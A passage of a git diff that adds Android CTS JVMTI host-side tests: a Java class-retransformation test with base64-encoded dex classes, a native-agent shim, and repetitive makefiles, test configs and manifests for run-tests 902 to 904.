+            "AAAwAQAAYAEAAHQBAACKAQAAjQEAAJQBAACaAQAAAQAAAAIAAAAEAAAABAAAAAIAAAAAAAAAAAAA" +
+            "AAAAAAAAAAAABQAAAAAAAAAGAAAAAQAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAwAAAAAAAAC9AQAA" +
+            "AAAAAAEAAQABAAAArgEAAAQAAABwEAMAAAAOAAEAAQAAAAAAswEAAAEAAAAOAAAAAQABAAAAAAC4" +
+            "AQAAAQAAAA4AAAAGPGluaXQ+AC5MYW5kcm9pZC9qdm10aS9jdHMvbWVtb3J5X2RleC9UcmFuc2Zv" +
+            "cm1UYXJnZXQ7ABJMamF2YS9sYW5nL09iamVjdDsAFFRyYW5zZm9ybVRhcmdldC5qYXZhAAFWAAVh" +
+            "bHBoYQAEYmV0YQASZW1pdHRlcjogamFjay00LjI4AAIABw4AAwAHDgAEAAcOAAAAAQIAgYAE6AEB" +
+            "AYACAQGUAgALAAAAAAAAAAEAAAAAAAAAAQAAAAgAAABwAAAAAgAAAAMAAACQAAAAAwAAAAEAAACc" +
+            "AAAABQAAAAQAAACoAAAABgAAAAEAAADIAAAAASAAAAMAAADoAAAAAiAAAAgAAAAoAQAAAyAAAAMA" +
+            "AACuAQAAACAAAAEAAAC9AQAAABAAAAEAAADQAQAA");
+    /**
+     * Base64 encoded version of the following class.
+     * Note that this would be an illegal transformation if the class had been loaded as the first
+     * one.
+     * <p>
+     * package android.jvmti.cts.memory_dex;
+     * <p>
+     * public class TransformTarget {
+     * public void alpha(int abc) {
+     * }
+     * public int beta() {
+     * return 12;
+     * }
+     * public void gamma() {
+     * }
+     * }
+     */
+    private static final byte[] ONLOAD_FINAL_CLASS = Base64.getDecoder().decode(
+            "ZGV4CjAzNQA5VqbusSyl8/G1EXrbm9uRuiHvkP4XixrMAgAAcAAAAHhWNBIAAAAAAAAAADgCAAAL" +
+            "AAAAcAAAAAQAAACcAAAAAwAAAKwAAAAAAAAAAAAAAAUAAADQAAAAAQAAAPgAAAC0AQAAGAEAAHYB" +
+            "AAB+AQAAgQEAALEBAADFAQAA2wEAAN4BAADiAQAA6QEAAO8BAAADAgAAAQAAAAIAAAADAAAABQAA" +
+            "AAEAAAAAAAAAAAAAAAUAAAADAAAAAAAAAAYAAAADAAAAcAEAAAEAAQAAAAAAAQACAAcAAAABAAAA" +
+            "CAAAAAEAAQAKAAAAAgABAAAAAAABAAAAAQAAAAIAAAAAAAAABAAAAAAAAAAfAgAAAAAAAAEAAQAB" +
+            "AAAACgIAAAQAAABwEAQAAAAOAAIAAgAAAAAADwIAAAEAAAAOAAAAAgABAAAAAAAVAgAAAwAAABMA" +
+            "DAAPAAAAAQABAAAAAAAaAgAAAQAAAA4AAAABAAAAAAAGPGluaXQ+AAFJAC5MYW5kcm9pZC9qdm10" +
+            "aS9jdHMvbWVtb3J5X2RleC9UcmFuc2Zvcm1UYXJnZXQ7ABJMamF2YS9sYW5nL09iamVjdDsAFFRy" +
+            "YW5zZm9ybVRhcmdldC5qYXZhAAFWAAJWSQAFYWxwaGEABGJldGEAEmVtaXR0ZXI6IGphY2stNC4y" +
+            "OAAFZ2FtbWEAAgAHDgAEAQAHDgAGAAcOAAkABw4AAAABAwCBgASYAgEBsAIBAcQCAQHcAgAAAAwA" +
+            "AAAAAAAAAQAAAAAAAAABAAAACwAAAHAAAAACAAAABAAAAJwAAAADAAAAAwAAAKwAAAAFAAAABQAA" +
+            "ANAAAAAGAAAAAQAAAPgAAAABIAAABAAAABgBAAABEAAAAQAAAHABAAACIAAACwAAAHYBAAADIAAA" +
+            "BAAAAAoCAAAAIAAAAQAAAB8CAAAAEAAAAQAAADgCAAA=");
+
+    private static class ExpectedMethod {
+        public final Class<?> returnType;
+        public final String name;
+        public final Class<?>[] params;
+
+        public ExpectedMethod(Class<?> returnType, String name, Class<?>... params) {
+            this.returnType = returnType;
+            this.name = name;
+            this.params = params;
+        }
+
+        public void ensureHasMethod(Class<?> klass) throws Exception {
+            try {
+                assertEquals(returnType, klass.getDeclaredMethod(name, params).getReturnType());
+            } catch (NoSuchMethodException e) {
+                Assert.fail("Could not find method: " + klass + ": " + name +
+                        " (params: " + Arrays.toString(params) + "). Reason was " + e);
+            }
+        }
+    }
+
+    private void checkClassHasMethods(Class<?> target, ExpectedMethod[] methods) throws Exception {
+        for (ExpectedMethod m : methods) {
+            m.ensureHasMethod(target);
+        }
+    }
+
+    @Test
+    public void testCannotRetransformOnLoadTest() throws Exception {
+        // Just a sanity check along with below.
+        Class<?> target_class = new InMemoryDexClassLoader(
+                ByteBuffer.wrap(ONLOAD_INITIAL_CLASS),
+                getClass().getClassLoader()).loadClass(ONLOAD_TEST_CLASS_NAME);
+        checkClassHasMethods(
+                target_class,
+                new ExpectedMethod[]{
+                        new ExpectedMethod(Void.TYPE, "alpha"),
+                        new ExpectedMethod(Void.TYPE, "beta"),
+                });
+        assertTrue(JvmtiErrors.NONE != redefineClass(target_class, ONLOAD_FINAL_CLASS));
+    }
+
+    @Test
+    public void testRetransformOnLoad() throws Exception {
+        pushTransformationResult(ONLOAD_TEST_CLASS_NAME.replace('.', '/'), ONLOAD_FINAL_CLASS);
+        setTransformationEvent(true);
+        setPopTransformations(false);
+        checkClassHasMethods(
+                new InMemoryDexClassLoader(ByteBuffer.wrap(ONLOAD_INITIAL_CLASS),
+                        getClass().getClassLoader()).loadClass(ONLOAD_TEST_CLASS_NAME),
+                new ExpectedMethod[]{
+                        new ExpectedMethod(Void.TYPE, "alpha", int.class),
+                        new ExpectedMethod(int.class, "beta"),
+                        new ExpectedMethod(Void.TYPE, "gamma"),
+                });
+    }
+
+    private static native int redefineClass(Class<?> target, byte[] dex);
+
+    private static native int retransformClass(Class<?> target);
+
+    private static native void setTransformationEvent(boolean enable);
+
+    private static native void clearTransformations();
+
+    private static native void pushTransformationResult(String target, byte[] dexBytes);
+
+    private static native void setPopTransformations(boolean enable);
+
+    private static void pushTransformationResult(Class<?> target, byte[] dex) {
+        pushTransformationResult(target.getName().replace('.', '/'), dex);
+    }
+}
diff --git a/hostsidetests/jvmti/redefining/app/src/art/Main.java b/hostsidetests/jvmti/redefining/app/src/art/Main.java
new file mode 100644
index 0000000..6f569d1
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/app/src/art/Main.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package art;
+
+/**
+ * This is a definition of generically exposed implementations by the CTS JVMTI agent.
+ */
+public class Main {
+    // Load the given class with the given classloader, and bind all native methods to corresponding
+    // C methods in the agent. Will abort if any of the steps fail.
+    public static native void bindAgentJNI(String className, ClassLoader classLoader);
+    // Same as above, giving the class directly.
+    public static native void bindAgentJNIForClass(Class<?> klass);
+
+    // General functionality shared between tests.
+    public static native void setTag(Object o, long tag);
+
+    public static native long getTag(Object o);
+}
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
new file mode 100644
index 0000000..d344747
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -0,0 +1,169 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+# shim classes. We use one that exposes the common functionality.
+LOCAL_SHIM_CLASSES := \
+  src/902-hello-transformation/src/art/Redefinition.java \
+  src/903-hello-tagging/src/art/Main.java \
+  src/989-method-trace-throw/src/art/Trace.java \
+
+LOCAL_SRC_FILES := $(LOCAL_SHIM_CLASSES)
+
+# Actual test classes.
+LOCAL_SRC_FILES += \
+  src/901-hello-ti-agent/src/art/Test901.java \
+  src/902-hello-transformation/src/art/Test902.java \
+  src/903-hello-tagging/src/art/Test903.java \
+  src/904-object-allocation/src/art/Test904.java \
+  src/905-object-free/src/art/Test905.java \
+  src/906-iterate-heap/src/art/Test906.java \
+  src/907-get-loaded-classes/src/art/Test907.java \
+    src/907-get-loaded-classes/src/art/Cerr.java \
+  src/908-gc-start-finish/src/art/Test908.java \
+  src/910-methods/src/art/Test910.java \
+  src/911-get-stack-trace/src/art/Test911.java \
+    src/911-get-stack-trace/src/art/AllTraces.java \
+    src/911-get-stack-trace/src/art/ControlData.java \
+    src/911-get-stack-trace/src/art/Frames.java \
+    src/911-get-stack-trace/src/art/OtherThread.java \
+    src/911-get-stack-trace/src/art/PrintThread.java \
+    src/911-get-stack-trace/src/art/Recurse.java \
+    src/911-get-stack-trace/src/art/SameThread.java \
+    src/911-get-stack-trace/src/art/ThreadListTraces.java \
+  src/912-classes/src-art/art/Test912.java \
+    src/912-classes/src-art/art/DexData.java \
+  src/913-heaps/src/art/Test913.java \
+  src/914-hello-obsolescence/src/art/Test914.java \
+  src/915-obsolete-2/src/art/Test915.java \
+  src/917-fields-transformation/src/art/Test917.java \
+  src/918-fields/src/art/Test918.java \
+  src/919-obsolete-fields/src/art/Test919.java \
+  src/920-objects/src/art/Test920.java \
+  src/922-properties/src/art/Test922.java \
+  src/923-monitors/src/art/Test923.java \
+  src/924-threads/src/art/Test924.java \
+  src/925-threadgroups/src/art/Test925.java \
+  src/926-multi-obsolescence/src/art/Test926.java \
+  src/927-timers/src/art/Test927.java \
+  src/928-jni-table/src/art/Test928.java \
+  src/930-hello-retransform/src/art/Test930.java \
+  src/931-agent-thread/src/art/Test931.java \
+  src/932-transform-saves/src/art/Test932.java \
+  src/933-misc-events/src/art/Test933.java \
+  src/940-recursive-obsolete/src/art/Test940.java \
+  src/942-private-recursive/src/art/Test942.java \
+  src/944-transform-classloaders/src/art/Test944.java \
+  src/945-obsolete-native/src/art/Test945.java \
+  src/947-reflect-method/src/art/Test947.java \
+  src/951-threaded-obsolete/src/art/Test951.java \
+  src/982-ok-no-retransform/src/art/Test982.java \
+  src/984-obsolete-invoke/src/art/Test984.java \
+  src/985-re-obsolete/src/art/Test985.java \
+  src/986-native-method-bind/src/art/Test986.java \
+  src/988-method-trace/src/art/Test988.java \
+    src/988-method-trace/src/art/Test988Intrinsics.java \
+  src/989-method-trace-throw/src/art/Test989.java \
+  src/990-field-trace/src/art/Test990.java \
+  src/991-field-trace-2/src/art/Test991.java \
+  src/992-source-data/src/art/Test992.java \
+    src/992-source-data/src/art/Target2.java \
+
+JVMTI_RUN_TEST_GENERATED_NUMBERS := \
+  901 \
+  902 \
+  903 \
+  904 \
+  905 \
+  906 \
+  907 \
+  908 \
+  910 \
+  911 \
+  912 \
+  913 \
+  914 \
+  915 \
+  917 \
+  918 \
+  919 \
+  920 \
+  922 \
+  923 \
+  924 \
+  925 \
+  926 \
+  927 \
+  928 \
+  930 \
+  931 \
+  932 \
+  933 \
+  940 \
+  942 \
+  944 \
+  945 \
+  947 \
+  951 \
+  982 \
+  984 \
+  985 \
+  986 \
+  988 \
+  989 \
+  990 \
+  991 \
+  992 \
+
+# Try to enforce that the directories correspond to the Java files we pull in.
+JVMTI_RUN_TEST_DIR_CHECK := $(sort $(foreach DIR,$(addprefix src/,$(JVMTI_RUN_TEST_GENERATED_NUMBERS)), \
+  $(filter $(DIR)%,$(LOCAL_SRC_FILES))))
+ifneq ($(sort $(LOCAL_SRC_FILES)),$(JVMTI_RUN_TEST_DIR_CHECK))
+  $(error Missing file, compare $(sort $(LOCAL_SRC_FILES)) with $(JVMTI_RUN_TEST_DIR_CHECK))
+endif
+
+LOCAL_MODULE_CLASS := JAVA_LIBRARIES
+LOCAL_MODULE_TAGS := optional
+LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_MODULE := run-test-jvmti-java
+
+GENERATED_SRC_DIR := $(call local-generated-sources-dir)
+JVMTI_RUN_TEST_GENERATED_FILES := \
+  $(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),$(GENERATED_SRC_DIR)/results.$(NR).expected.txt)
+
+define GEN_JVMTI_RUN_TEST_GENERATED_FILE
+
+GEN_INPUT := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected.txt)
+GEN_OUTPUT := $(GENERATED_SRC_DIR)/results.$(1).expected.txt
+$$(GEN_OUTPUT): $$(GEN_INPUT)
+	cp $$< $$@
+
+GEN_INPUT :=
+GEN_OUTPUT :=
+
+endef
+
+$(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),\
+  $(eval $(call GEN_JVMTI_RUN_TEST_GENERATED_FILE,$(NR))))
+LOCAL_JAVA_RESOURCE_FILES := $(JVMTI_RUN_TEST_GENERATED_FILES)
+
+# Avoid linking against any @hide APIs.
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_JAVA_LIBRARY)
+
+include $(CLEAR_VARS)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/src b/hostsidetests/jvmti/run-tests/src
new file mode 120000
index 0000000..0291142
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/src
@@ -0,0 +1 @@
+../../../../art/test
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.mk b/hostsidetests/jvmti/run-tests/test-902/Android.mk
new file mode 100644
index 0000000..7479ad8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
new file mode 100644
index 0000000..ade4fac
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest902DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_902" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest902HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest902DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_902" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
new file mode 100644
index 0000000..3fd9dc9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest902DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
new file mode 100644
index 0000000..6a2edd6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_902">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="902" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_902" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.mk b/hostsidetests/jvmti/run-tests/test-903/Android.mk
new file mode 100644
index 0000000..1b67da1
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest903HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
new file mode 100644
index 0000000..1390840
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest903DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_903" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest903HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest903DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_903" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
new file mode 100644
index 0000000..a501186
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest903DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
new file mode 100644
index 0000000..4823c99
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_903">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="903" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_903" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.mk b/hostsidetests/jvmti/run-tests/test-904/Android.mk
new file mode 100644
index 0000000..b814acb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest904HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
new file mode 100644
index 0000000..f16ce94
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest904DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_904" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest904HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest904DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_904" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
new file mode 100644
index 0000000..83f0efc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest904DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
new file mode 100644
index 0000000..59ef42c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
